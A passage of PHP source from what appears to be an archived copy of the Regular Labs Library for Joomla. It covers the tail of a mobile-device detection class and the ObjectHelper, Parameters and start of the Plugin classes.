$this->setHttpHeaders($headers);
$this->setUserAgent($userAgent);
}
/**
* Get the current script version.
* This is useful for the demo.php file,
* so people can check on what version they are testing
* for mobile devices.
*
* @return string The version number in semantic version format.
*/
public static function getScriptVersion()
{
return self::VERSION;
}
/**
* Set the HTTP Headers. Must be PHP-flavored. This method will reset
existing headers.
*
* @param array $httpHeaders The headers to set. If null, then using
PHP's _SERVER to extract
* the headers. The default null is left for
backwards compatibility.
*/
public function setHttpHeaders($httpHeaders = null)
{
// use global _SERVER if $httpHeaders aren't defined
if ( ! is_array($httpHeaders) || ! count($httpHeaders))
{
$httpHeaders = $_SERVER;
}
// clear existing headers
$this->httpHeaders = [];
// Only save HTTP headers. In PHP land, that means only _SERVER vars that
// start with HTTP_.
foreach ($httpHeaders as $key => $value)
{
if (substr($key, 0, 5) === 'HTTP_')
{
$this->httpHeaders[$key] = $value;
}
}
// In case we're dealing with CloudFront, we need to know.
$this->setCfHeaders($httpHeaders);
}
/**
* Retrieves the HTTP headers.
*
* @return array
*/
public function getHttpHeaders()
{
return $this->httpHeaders;
}
/**
* Retrieves a particular header. If it doesn't exist, no
exception/error is caused.
* Simply null is returned.
*
* @param string $header The name of the header to retrieve. Can be HTTP
compliant such as
* "User-Agent" or
"X-Device-User-Agent" or can be php-esque with the
* all-caps, HTTP_ prefixed, underscore seperated
awesomeness.
*
* @return string|null The value of the header.
*/
public function getHttpHeader($header)
{
// are we using PHP-flavored headers?
if (strpos($header, '_') === false)
{
$header = str_replace('-', '_', $header);
$header = strtoupper($header);
}
// test the alternate, too
$altHeader = 'HTTP_' . $header;
//Test both the regular and the HTTP_ prefix
if (isset($this->httpHeaders[$header]))
{
return $this->httpHeaders[$header];
}
elseif (isset($this->httpHeaders[$altHeader]))
{
return $this->httpHeaders[$altHeader];
}
return null;
}
public function getMobileHeaders()
{
return self::$mobileHeaders;
}
/**
* Get all possible HTTP headers that
* can contain the User-Agent string.
*
* @return array List of HTTP headers.
*/
public function getUaHttpHeaders()
{
return self::$uaHttpHeaders;
}
/**
* Set CloudFront headers
*
http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/header-caching.html#header-caching-web-device
*
* @param array $cfHeaders List of HTTP headers
*
* @return boolean If there were CloudFront headers to be set
*/
public function setCfHeaders($cfHeaders = null)
{
// use global _SERVER if $cfHeaders aren't defined
if ( ! is_array($cfHeaders) || ! count($cfHeaders))
{
$cfHeaders = $_SERVER;
}
// clear existing headers
$this->cloudfrontHeaders = [];
// Only save CLOUDFRONT headers. In PHP land, that means only _SERVER
vars that
// start with cloudfront-.
$response = false;
foreach ($cfHeaders as $key => $value)
{
if (substr(strtolower($key), 0, 16) === 'http_cloudfront_')
{
$this->cloudfrontHeaders[strtoupper($key)] = $value;
$response = true;
}
}
return $response;
}
/**
* Retrieves the cloudfront headers.
*
* @return array
*/
public function getCfHeaders()
{
return $this->cloudfrontHeaders;
}
/**
* @param string $userAgent
*
* @return string
*/
private function prepareUserAgent($userAgent)
{
$userAgent = trim($userAgent);
$userAgent = substr($userAgent, 0, 500);
return $userAgent;
}
/**
* Set the User-Agent to be used.
*
* @param string $userAgent The user agent string to set.
*
* @return string|null
*/
public function setUserAgent($userAgent = null)
{
// Invalidate cache due to #375
$this->cache = [];
if (false === empty($userAgent))
{
return $this->userAgent = $this->prepareUserAgent($userAgent);
}
else
{
$this->userAgent = null;
foreach ($this->getUaHttpHeaders() as $altHeader)
{
if (false === empty($this->httpHeaders[$altHeader]))
{ // @todo: should use getHttpHeader(), but it would be slow. (Serban)
$this->userAgent .= $this->httpHeaders[$altHeader] . "
";
}
}
if ( ! empty($this->userAgent))
{
return $this->userAgent =
$this->prepareUserAgent($this->userAgent);
}
}
if (count($this->getCfHeaders()) > 0)
{
return $this->userAgent = 'Amazon CloudFront';
}
return $this->userAgent = null;
}
/**
* Retrieve the User-Agent.
*
* @return string|null The user agent if it's set.
*/
public function getUserAgent()
{
return $this->userAgent;
}
/**
* Set the detection type. Must be one of self::DETECTION_TYPE_MOBILE or
* self::DETECTION_TYPE_EXTENDED. Otherwise, nothing is set.
*
* @param string $type The type. Must be a self::DETECTION_TYPE_*
constant. The default
* parameter is null which will default to
self::DETECTION_TYPE_MOBILE.
*
* @deprecated since version 2.6.9
*
*/
public function setDetectionType($type = null)
{
if ($type === null)
{
$type = self::DETECTION_TYPE_MOBILE;
}
if ($type !== self::DETECTION_TYPE_MOBILE && $type !==
self::DETECTION_TYPE_EXTENDED)
{
return;
}
$this->detectionType = $type;
}
public function getMatchingRegex()
{
return $this->matchingRegex;
}
public function getMatchesArray()
{
return $this->matchesArray;
}
/**
* Retrieve the list of known phone devices.
*
* @return array List of phone devices.
*/
public static function getPhoneDevices()
{
return self::$phoneDevices;
}
/**
* Retrieve the list of known tablet devices.
*
* @return array List of tablet devices.
*/
public static function getTabletDevices()
{
return self::$tabletDevices;
}
/**
* Alias for getBrowsers() method.
*
* @return array List of user agents.
*/
public static function getUserAgents()
{
return self::getBrowsers();
}
/**
* Retrieve the list of known browsers. Specifically, the user agents.
*
* @return array List of browsers / user agents.
*/
public static function getBrowsers()
{
return self::$browsers;
}
/**
* Retrieve the list of known utilities.
*
* @return array List of utilities.
*/
public static function getUtilities()
{
return self::$utilities;
}
/**
* Method gets the mobile detection rules. This method is used for the
magic methods $detect->is*().
*
* @return array All the rules (but not extended).
* @deprecated since version 2.6.9
*
*/
public static function getMobileDetectionRules()
{
static $rules;
if ( ! $rules)
{
$rules = array_merge(
self::$phoneDevices,
self::$tabletDevices,
self::$operatingSystems,
self::$browsers
);
}
return $rules;
}
/**
* Method gets the mobile detection rules + utilities.
* The reason this is separate is because utilities rules
* don't necessary imply mobile. This method is used inside
* the new $detect->is('stuff') method.
*
* @return array All the rules + extended.
* @deprecated since version 2.6.9
*
*/
public function getMobileDetectionRulesExtended()
{
static $rules;
if ( ! $rules)
{
// Merge all rules together.
$rules = array_merge(
self::$phoneDevices,
self::$tabletDevices,
self::$operatingSystems,
self::$browsers,
self::$utilities
);
}
return $rules;
}
/**
* Retrieve the current set of rules.
*
* @return array
* @deprecated since version 2.6.9
*
*/
public function getRules()
{
if ($this->detectionType == self::DETECTION_TYPE_EXTENDED)
{
return self::getMobileDetectionRulesExtended();
}
else
{
return self::getMobileDetectionRules();
}
}
/**
* Retrieve the list of mobile operating systems.
*
* @return array The list of mobile operating systems.
*/
public static function getOperatingSystems()
{
return self::$operatingSystems;
}
/**
* Check the HTTP headers for signs of mobile.
* This is the fastest mobile check possible; it's used
* inside isMobile() method.
*
* @return bool
*/
public function checkHttpHeadersForMobile()
{
foreach ($this->getMobileHeaders() as $mobileHeader => $matchType)
{
if (isset($this->httpHeaders[$mobileHeader]))
{
if (is_array($matchType['matches']))
{
foreach ($matchType['matches'] as $_match)
{
if (strpos($this->httpHeaders[$mobileHeader], $_match) !== false)
{
return true;
}
}
return false;
}
else
{
return true;
}
}
}
return false;
}
/**
* Magic overloading method.
*
* @method boolean is[...]()
* @param string $name
* @param array $arguments
*
* @return mixed
* @throws BadMethodCallException when the method doesn't exist and
doesn't start with 'is'
*/
public function __call($name, $arguments)
{
// make sure the name starts with 'is', otherwise
if (substr($name, 0, 2) !== 'is')
{
throw new BadMethodCallException("No such method exists:
$name");
}
$this->setDetectionType(self::DETECTION_TYPE_MOBILE);
$key = substr($name, 2);
return $this->matchUAAgainstKey($key);
}
/**
* Find a detection rule that matches the current User-agent.
*
* @param null $userAgent deprecated
*
* @return boolean
*/
protected function matchDetectionRulesAgainstUA($userAgent = null)
{
// Begin general search.
foreach ($this->getRules() as $_regex)
{
if (empty($_regex))
{
continue;
}
if ($this->match($_regex, $userAgent))
{
return true;
}
}
return false;
}
/**
* Search for a certain key in the rules array.
* If the key is found then try to match the corresponding
* regex against the User-Agent.
*
* @param string $key
*
* @return boolean
*/
protected function matchUAAgainstKey($key)
{
// Make the keys lowercase so we can match: isIphone(), isiPhone(),
isiphone(), etc.
$key = strtolower($key);
if (false === isset($this->cache[$key]))
{
// change the keys to lower case
$_rules = array_change_key_case($this->getRules());
if (false === empty($_rules[$key]))
{
$this->cache[$key] = $this->match($_rules[$key]);
}
if (false === isset($this->cache[$key]))
{
$this->cache[$key] = false;
}
}
return $this->cache[$key];
}
/**
* Check if the device is mobile.
* Returns true if any type of mobile device detected, including special
ones
*
* @param null $userAgent deprecated
* @param null $httpHeaders deprecated
*
* @return bool
*/
public function isMobile($userAgent = null, $httpHeaders = null)
{
if ($httpHeaders)
{
$this->setHttpHeaders($httpHeaders);
}
if ($userAgent)
{
$this->setUserAgent($userAgent);
}
// Check specifically for cloudfront headers if the useragent ===
'Amazon CloudFront'
if ($this->getUserAgent() === 'Amazon CloudFront')
{
$cfHeaders = $this->getCfHeaders();
if (array_key_exists('HTTP_CLOUDFRONT_IS_MOBILE_VIEWER',
$cfHeaders) &&
$cfHeaders['HTTP_CLOUDFRONT_IS_MOBILE_VIEWER'] ===
'true')
{
return true;
}
}
$this->setDetectionType(self::DETECTION_TYPE_MOBILE);
if ($this->checkHttpHeadersForMobile())
{
return true;
}
else
{
return $this->matchDetectionRulesAgainstUA();
}
}
/**
* Check if the device is a tablet.
* Return true if any type of tablet device is detected.
*
* @param string $userAgent deprecated
* @param array $httpHeaders deprecated
*
* @return bool
*/
public function isTablet($userAgent = null, $httpHeaders = null)
{
// Check specifically for cloudfront headers if the useragent ===
'Amazon CloudFront'
if ($this->getUserAgent() === 'Amazon CloudFront')
{
$cfHeaders = $this->getCfHeaders();
if (array_key_exists('HTTP_CLOUDFRONT_IS_TABLET_VIEWER',
$cfHeaders) &&
$cfHeaders['HTTP_CLOUDFRONT_IS_TABLET_VIEWER'] ===
'true')
{
return true;
}
}
$this->setDetectionType(self::DETECTION_TYPE_MOBILE);
foreach (self::$tabletDevices as $_regex)
{
if ($this->match($_regex, $userAgent))
{
return true;
}
}
return false;
}
/**
* This method checks for a certain property in the
* userAgent.
*
* @param string $key
* @param string $userAgent deprecated
* @param string $httpHeaders deprecated
*
* @return bool|int|null
* @todo: The httpHeaders part is not yet used.
*
*/
public function is($key, $userAgent = null, $httpHeaders = null)
{
// Set the UA and HTTP headers only if needed (eg. batch mode).
if ($httpHeaders)
{
$this->setHttpHeaders($httpHeaders);
}
if ($userAgent)
{
$this->setUserAgent($userAgent);
}
$this->setDetectionType(self::DETECTION_TYPE_EXTENDED);
return $this->matchUAAgainstKey($key);
}
/**
* Some detection rules are relative (not standard),
* because of the diversity of devices, vendors and
* their conventions in representing the User-Agent or
* the HTTP headers.
*
* This method will be used to check custom regexes against
* the User-Agent string.
*
* @param $regex
* @param string $userAgent
*
* @return bool
*
* @todo: search in the HTTP headers too.
*/
public function match($regex, $userAgent = null)
{
$match = (bool) preg_match(sprintf('#%s#is', $regex), (false
=== empty($userAgent) ? $userAgent : $this->userAgent), $matches);
// If positive match is found, store the results for debug.
if ($match)
{
$this->matchingRegex = $regex;
$this->matchesArray = $matches;
}
return $match;
}
/**
* Get the properties array.
*
* @return array
*/
public static function getProperties()
{
return self::$properties;
}
/**
* Prepare the version number.
*
* @param string $ver The string version, like "2.6.21.2152";
*
* @return float
* @todo Remove the error supression from str_replace() call.
*
*/
public function prepareVersionNo($ver)
{
$ver = str_replace(['_', ' ', '/'],
'.', $ver);
$arrVer = explode('.', $ver, 2);
if (isset($arrVer[1]))
{
$arrVer[1] = @str_replace('.', '', $arrVer[1]); //
@todo: treat strings versions.
}
return (float) implode('.', $arrVer);
}
/**
* Check the version of the given property in the User-Agent.
* Will return a float number. (eg. 2_0 will return 2.0, 4.3.1 will return
4.31)
*
* @param string $propertyName The name of the property. See
self::getProperties() array
* keys for all possible properties.
* @param string $type Either self::VERSION_TYPE_STRING to get a
string value or
* self::VERSION_TYPE_FLOAT indicating a float
value. This parameter
* is optional and defaults to
self::VERSION_TYPE_STRING. Passing an
* invalid parameter will default to the this
type as well.
*
* @return string|float The version of the property we are trying to
extract.
*/
public function version($propertyName, $type = self::VERSION_TYPE_STRING)
{
if (empty($propertyName))
{
return false;
}
// set the $type to the default if we don't recognize the type
if ($type !== self::VERSION_TYPE_STRING && $type !==
self::VERSION_TYPE_FLOAT)
{
$type = self::VERSION_TYPE_STRING;
}
$properties = self::getProperties();
// Check if the property exists in the properties array.
if (true === isset($properties[$propertyName]))
{
// Prepare the pattern to be matched.
// Make sure we always deal with an array (string is converted).
$properties[$propertyName] = (array) $properties[$propertyName];
foreach ($properties[$propertyName] as $propertyMatchString)
{
$propertyPattern = str_replace('[VER]', self::VER,
$propertyMatchString);
// Identify and extract the version.
preg_match(sprintf('#%s#is', $propertyPattern),
$this->userAgent, $match);
if (false === empty($match[1]))
{
$version = ($type == self::VERSION_TYPE_FLOAT ?
$this->prepareVersionNo($match[1]) : $match[1]);
return $version;
}
}
}
return false;
}
/**
* Retrieve the mobile grading, using self::MOBILE_GRADE_* constants.
*
* @return string One of the self::MOBILE_GRADE_* constants.
*/
public function mobileGrade()
{
$isMobile = $this->isMobile();
if (
// Apple iOS 4-7.0 – Tested on the original iPad (4.3 / 5.0), iPad 2
(4.3 / 5.1 / 6.1), iPad 3 (5.1 / 6.0), iPad Mini (6.1), iPad Retina (7.0),
iPhone 3GS (4.3), iPhone 4 (4.3 / 5.1), iPhone 4S (5.1 / 6.0), iPhone 5
(6.0), and iPhone 5S (7.0)
$this->is('iOS') &&
$this->version('iPad', self::VERSION_TYPE_FLOAT) >= 4.3 ||
$this->is('iOS') &&
$this->version('iPhone', self::VERSION_TYPE_FLOAT) >= 4.3
||
$this->is('iOS') &&
$this->version('iPod', self::VERSION_TYPE_FLOAT) >= 4.3 ||
// Android 2.1-2.3 - Tested on the HTC Incredible (2.2), original Droid
(2.2), HTC Aria (2.1), Google Nexus S (2.3). Functional on 1.5 & 1.6
but performance may be sluggish, tested on Google G1 (1.5)
// Android 3.1 (Honeycomb) - Tested on the Samsung Galaxy Tab 10.1 and
Motorola XOOM
// Android 4.0 (ICS) - Tested on a Galaxy Nexus. Note: transition
performance can be poor on upgraded devices
// Android 4.1 (Jelly Bean) - Tested on a Galaxy Nexus and Galaxy 7
($this->version('Android', self::VERSION_TYPE_FLOAT) >
2.1 && $this->is('Webkit')) ||
// Windows Phone 7.5-8 - Tested on the HTC Surround (7.5), HTC Trophy
(7.5), LG-E900 (7.5), Nokia 800 (7.8), HTC Mazaa (7.8), Nokia Lumia 520
(8), Nokia Lumia 920 (8), HTC 8x (8)
$this->version('Windows Phone OS',
self::VERSION_TYPE_FLOAT) >= 7.5 ||
// Tested on the Torch 9800 (6) and Style 9670 (6), BlackBerry® Torch
9810 (7), BlackBerry Z10 (10)
$this->is('BlackBerry') &&
$this->version('BlackBerry', self::VERSION_TYPE_FLOAT) >=
6.0 ||
// Blackberry Playbook (1.0-2.0) - Tested on PlayBook
$this->match('Playbook.*Tablet') ||
// Palm WebOS (1.4-3.0) - Tested on the Palm Pixi (1.4), Pre (1.4), Pre
2 (2.0), HP TouchPad (3.0)
($this->version('webOS', self::VERSION_TYPE_FLOAT) >=
1.4 && $this->match('Palm|Pre|Pixi')) ||
// Palm WebOS 3.0 - Tested on HP TouchPad
$this->match('hp.*TouchPad') ||
// Firefox Mobile 18 - Tested on Android 2.3 and 4.1 devices
($this->is('Firefox') &&
$this->version('Firefox', self::VERSION_TYPE_FLOAT) >= 18)
||
// Chrome for Android - Tested on Android 4.0, 4.1 device
($this->is('Chrome') &&
$this->is('AndroidOS') &&
$this->version('Android', self::VERSION_TYPE_FLOAT) >= 4.0)
||
// Skyfire 4.1 - Tested on Android 2.3 device
($this->is('Skyfire') &&
$this->version('Skyfire', self::VERSION_TYPE_FLOAT) >= 4.1
&& $this->is('AndroidOS') &&
$this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3)
||
// Opera Mobile 11.5-12: Tested on Android 2.3
($this->is('Opera') &&
$this->version('Opera Mobi', self::VERSION_TYPE_FLOAT) >=
11.5 && $this->is('AndroidOS')) ||
// Meego 1.2 - Tested on Nokia 950 and N9
$this->is('MeeGoOS') ||
// Tizen (pre-release) - Tested on early hardware
$this->is('Tizen') ||
// Samsung Bada 2.0 - Tested on a Samsung Wave 3, Dolphin browser
// @todo: more tests here!
$this->is('Dolfin') &&
$this->version('Bada', self::VERSION_TYPE_FLOAT) >= 2.0 ||
// UC Browser - Tested on Android 2.3 device
(($this->is('UC Browser') ||
$this->is('Dolfin')) &&
$this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3)
||
// Kindle 3 and Fire - Tested on the built-in WebKit browser for each
($this->match('Kindle Fire') ||
$this->is('Kindle') &&
$this->version('Kindle', self::VERSION_TYPE_FLOAT) >= 3.0)
||
// Nook Color 1.4.1 - Tested on original Nook Color, not Nook Tablet
$this->is('AndroidOS') &&
$this->is('NookTablet') ||
// Chrome Desktop 16-24 - Tested on OS X 10.7 and Windows 7
$this->version('Chrome', self::VERSION_TYPE_FLOAT) >= 16
&& ! $isMobile ||
// Safari Desktop 5-6 - Tested on OS X 10.7 and Windows 7
$this->version('Safari', self::VERSION_TYPE_FLOAT) >=
5.0 && ! $isMobile ||
// Firefox Desktop 10-18 - Tested on OS X 10.7 and Windows 7
$this->version('Firefox', self::VERSION_TYPE_FLOAT) >=
10.0 && ! $isMobile ||
// Internet Explorer 7-9 - Tested on Windows XP, Vista and 7
$this->version('IE', self::VERSION_TYPE_FLOAT) >= 7.0
&& ! $isMobile ||
// Opera Desktop 10-12 - Tested on OS X 10.7 and Windows 7
$this->version('Opera', self::VERSION_TYPE_FLOAT) >= 10
&& ! $isMobile
)
{
return self::MOBILE_GRADE_A;
}
if (
$this->is('iOS') &&
$this->version('iPad', self::VERSION_TYPE_FLOAT) < 4.3 ||
$this->is('iOS') &&
$this->version('iPhone', self::VERSION_TYPE_FLOAT) < 4.3 ||
$this->is('iOS') &&
$this->version('iPod', self::VERSION_TYPE_FLOAT) < 4.3 ||
// Blackberry 5.0: Tested on the Storm 2 9550, Bold 9770
$this->is('Blackberry') &&
$this->version('BlackBerry', self::VERSION_TYPE_FLOAT) >= 5
&& $this->version('BlackBerry',
self::VERSION_TYPE_FLOAT) < 6 ||
//Opera Mini (5.0-6.5) - Tested on iOS 3.2/4.3 and Android 2.3
($this->version('Opera Mini', self::VERSION_TYPE_FLOAT)
>= 5.0 && $this->version('Opera Mini',
self::VERSION_TYPE_FLOAT) <= 7.0 &&
($this->version('Android', self::VERSION_TYPE_FLOAT) >=
2.3 || $this->is('iOS'))) ||
// Nokia Symbian^3 - Tested on Nokia N8 (Symbian^3), C7 (Symbian^3),
also works on N97 (Symbian^1)
$this->match('NokiaN8|NokiaC7|N97.*Series60|Symbian/3') ||
// @todo: report this (tested on Nokia N71)
$this->version('Opera Mobi', self::VERSION_TYPE_FLOAT)
>= 11 && $this->is('SymbianOS')
)
{
return self::MOBILE_GRADE_B;
}
if (
// Blackberry 4.x - Tested on the Curve 8330
$this->version('BlackBerry', self::VERSION_TYPE_FLOAT)
<= 5.0 ||
// Windows Mobile - Tested on the HTC Leo (WinMo 5.2)
$this->match('MSIEMobile|Windows CE.*Mobile') ||
$this->version('Windows Mobile', self::VERSION_TYPE_FLOAT)
<= 5.2 ||
// Tested on original iPhone (3.1), iPhone 3 (3.2)
$this->is('iOS') &&
$this->version('iPad', self::VERSION_TYPE_FLOAT) <= 3.2 ||
$this->is('iOS') &&
$this->version('iPhone', self::VERSION_TYPE_FLOAT) <= 3.2
||
$this->is('iOS') &&
$this->version('iPod', self::VERSION_TYPE_FLOAT) <= 3.2 ||
// Internet Explorer 7 and older - Tested on Windows XP
$this->version('IE', self::VERSION_TYPE_FLOAT) <= 7.0
&& ! $isMobile
)
{
return self::MOBILE_GRADE_C;
}
// All older smartphone platforms and featurephones - Any device that
doesn't support media queries
// will receive the basic, C grade experience.
return self::MOBILE_GRADE_C;
}
}
src/ObjectHelper.php000064400000002537151167425550010434 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class ObjectHelper
* @package RegularLabs\Library
*/
class ObjectHelper
{
/**
* Return the value by the object property key
* A list of keys can be given. The first one that is not empty will get
returned
*
* @param object $object
* @param string|array $keys
*
* @return mixed
*/
public static function getValue($object, $keys, $default = null)
{
$keys = ArrayHelper::toArray($keys);
foreach ($keys as $key)
{
if (empty($object->{$key}))
{
continue;
}
return $object->{$key};
}
return $default;
}
/**
* Deep clone an object
*
* @param object $object
*
* @return object
*/
public static function deepClone($object)
{
return unserialize(serialize($object));
}
/**
* Merge 2 objects
*
* @param object $object1
* @param object $object2
*
* @return object
*/
public static function merge($object1, $object2)
{
return (object) array_merge((array) $object1, (array) $object2);
}
}
src/Parameters.php000064400000016562151167425550010174 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper as JComponentHelper;
use Joomla\CMS\Filesystem\File as JFile;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
jimport('joomla.filesystem.file');
/**
* Class Parameters
* @package RegularLabs\Library
*/
class Parameters
{
public static $instance = null;
/**
* @return static instance
*/
public static function getInstance()
{
if (is_null(self::$instance))
{
self::$instance = new static;
}
return self::$instance;
}
/**
* Get a usable parameter object based on the Joomla Registry object
* The object will have all the available parameters with their value
(default value if none is set)
*
* @param \Registry $params
* @param string $path
* @param string $default
*
* @return object
*/
public function getParams($params, $path = '', $default =
'', $use_cache = true)
{
$cache_id = 'getParams_' . json_encode($params) . '_'
. $path . '_' . $default;
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$xml = $this->loadXML($path, $default);
if (empty($params))
{
return Cache::set(
$cache_id,
(object) $xml
);
}
if ( ! is_object($params))
{
$params = json_decode($params);
if (is_null($xml))
{
$xml = (object) [];
}
}
elseif (method_exists($params, 'toObject'))
{
$params = $params->toObject();
}
if ( ! $params)
{
return Cache::set(
$cache_id,
(object) $xml
);
}
if (empty($xml))
{
return Cache::set(
$cache_id,
$params
);
}
foreach ($xml as $key => $val)
{
if (isset($params->{$key}) && $params->{$key} !=
'')
{
continue;
}
$params->{$key} = $val;
}
return Cache::set(
$cache_id,
$params
);
}
/**
* Get a usable parameter object for the component
*
* @param string $name
* @param \Registry $params
*
* @return object
*/
public function getComponentParams($name, $params = null, $use_cache =
true)
{
$name = 'com_' . RegEx::replace('^com_',
'', $name);
$cache_id = 'getComponentParams_' . $name . '_' .
json_encode($params);
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if (empty($params) && JComponentHelper::isInstalled($name))
{
$params = JComponentHelper::getParams($name);
}
return Cache::set(
$cache_id,
$this->getParams($params, JPATH_ADMINISTRATOR .
'/components/' . $name . '/config.xml')
);
}
/**
* Get a usable parameter object for the module
*
* @param string $name
* @param int $admin
* @param \Registry $params
*
* @return object
*/
public function getModuleParams($name, $admin = true, $params =
'', $use_cache = true)
{
$name = 'mod_' . RegEx::replace('^mod_',
'', $name);
$cache_id = 'getModuleParams_' . $name . '_' .
json_encode($params);
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if (empty($params))
{
$params = null;
}
return Cache::set(
$cache_id,
$this->getParams($params, ($admin ? JPATH_ADMINISTRATOR : JPATH_SITE)
. '/modules/' . $name . '/' . $name . '.xml')
);
}
/**
* Get a usable parameter object for the plugin
*
* @param string $name
* @param string $type
* @param \Registry $params
*
* @return object
*/
public function getPluginParams($name, $type = 'system', $params
= '', $use_cache = true)
{
$cache_id = 'getPluginParams_' . $name . '_' . $type
. '_' . json_encode($params);
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if (empty($params))
{
$plugin = JPluginHelper::getPlugin($type, $name);
$params = (is_object($plugin) && isset($plugin->params)) ?
$plugin->params : null;
}
return Cache::set(
$cache_id,
$this->getParams($params, JPATH_PLUGINS . '/' . $type .
'/' . $name . '/' . $name . '.xml')
);
}
/**
* Returns an object based on the data in a given xml array
*
* @param $xml
*
* @return bool|mixed
*/
public function getObjectFromXml(&$xml, $use_cache = true)
{
$cache_id = 'getObjectFromXml_' . json_encode($xml);
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if ( ! is_array($xml))
{
$xml = [$xml];
}
$object = $this->getObjectFromXmlNode($xml);
return Cache::set(
$cache_id,
$object
);
}
/**
* Returns an array based on the data in a given xml file
*
* @param string $path
* @param string $default
*
* @return array
*/
private function loadXML($path, $default = '', $use_cache =
true)
{
$cache_id = 'loadXML_' . $path . '_' . $default;
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if ( ! $path
|| ! file_exists($path)
|| ! $file = file_get_contents($path)
)
{
return Cache::set(
$cache_id,
[]
);
}
$xml = [];
$xml_parser = xml_parser_create();
xml_parse_into_struct($xml_parser, $file, $fields);
xml_parser_free($xml_parser);
$default = $default ? strtoupper($default) : 'DEFAULT';
foreach ($fields as $field)
{
if ($field['tag'] != 'FIELD'
|| ! isset($field['attributes'])
|| ! isset($field['attributes']['NAME'])
|| $field['attributes']['NAME'] == ''
|| $field['attributes']['NAME'][0] == '@'
|| ! isset($field['attributes']['TYPE'])
|| $field['attributes']['TYPE'] ==
'spacer'
)
{
continue;
}
if (isset($field['attributes'][$default]))
{
$field['attributes']['DEFAULT'] =
$field['attributes'][$default];
}
if ( ! isset($field['attributes']['DEFAULT']))
{
$field['attributes']['DEFAULT'] = '';
}
if ($field['attributes']['TYPE'] ==
'textarea')
{
$field['attributes']['DEFAULT'] =
str_replace('<br>', "\n",
$field['attributes']['DEFAULT']);
}
$xml[$field['attributes']['NAME']] =
$field['attributes']['DEFAULT'];
}
return Cache::set(
$cache_id,
$xml
);
}
/**
* Returns the main attributes key from an xml object
*
* @param $xml
*
* @return mixed
*/
private function getKeyFromXML($xml)
{
if ( ! empty($xml->_attributes) &&
isset($xml->_attributes['name']))
{
return $xml->_attributes['name'];
}
return $xml->_name;
}
/**
* Returns the value from an xml object / node
*
* @param $xml
*
* @return object
*/
private function getValFromXML($xml)
{
if ( ! empty($xml->_attributes) &&
isset($xml->_attributes['value']))
{
return $xml->_attributes['value'];
}
if (empty($xml->_children))
{
return $xml->_data;
}
return $this->getObjectFromXmlNode($xml->_children);
}
/**
* Create an object from the given xml node
*
* @param $xml
*
* @return object
*/
private function getObjectFromXmlNode($xml)
{
$object = (object) [];
foreach ($xml as $child)
{
$key = $this->getKeyFromXML($child);
$value = $this->getValFromXML($child);
if ( ! isset($object->{$key}))
{
$object->{$key} = $value;
continue;
}
if ( ! is_array($object->{$key}))
{
$object->{$key} = [$object->{$key}];
}
$object->{$key}[] = $value;
}
return $object;
}
}
src/Plugin.php000064400000024051151167425550007317 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Application\CMSApplication as JCMSApplication;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Form\Form as JForm;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Plugin\CMSPlugin as JPlugin;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
class Plugin extends JPlugin
{
public $_alias = '';
public $_title = '';
public $_lang_prefix = '';
public $_is_admin = false;
public $_has_tags = false;
public $_enable_in_frontend = true;
public $_enable_in_admin = false;
public $_can_disable_by_url = true;
public $_disable_on_components = false;
public $_protected_formats = [];
public $_page_types = [];
public $_jversion = 3;
private $_pass = null;
/**
* @var JCMSApplication
*/
protected $app;
/**
* @var \JDatabaseDriver
*/
protected $db;
/**
* @param object &$subject The object to observe
* @param array $config An optional associative array of
configuration settings.
* Recognized key values include
'name', 'group', 'params',
'language'
* (this list is not meant to be
comprehensive).
*/
public function __construct(&$subject, $config = [])
{
if (isset($config['id']))
{
$this->_id = $config['id'];
}
parent::__construct($subject, $config);
$this->app = JFactory::getApplication();
$this->db = JFactory::getDbo();
$this->_is_admin = Document::isAdmin();
if (empty($this->_alias))
{
$this->_alias = $this->_name;
}
if (empty($this->_title))
{
$this->_title = strtoupper($this->_alias);
}
Language::load('plg_' . $this->_type . '_' .
$this->_name);
}
/**
* @return void
*/
public function onAfterRoute()
{
if ( ! $this->passChecks())
{
return;
}
$this->handleOnAfterRoute();
}
/**
* @return void
*/
public function onAfterDispatch()
{
if ( ! $this->passChecks())
{
return;
}
$this->handleOnAfterDispatch();
$buffer = Document::getBuffer();
$this->loadStylesAndScripts($buffer);
if ( ! $buffer)
{
return;
}
if ( ! $this->changeDocumentBuffer($buffer))
{
return;
}
Document::setBuffer($buffer);
}
/**
* @return void
*/
public function onAfterInitialise()
{
if ( ! $this->passChecks())
{
return;
}
$this->handleOnAfterInitialise();
}
/**
* @param string $context The context of the content being passed to
the plugin.
* @param mixed &$row An object with a "text"
property
* @param mixed &$params Additional parameters. See {@see
PlgContentContent()}.
* @param integer $page Optional page number. Unused. Defaults to
zero.
*
* @return bool
*/
public function onContentPrepare($context, &$article, &$params,
$page = 0)
{
if ( ! $this->passChecks())
{
return true;
}
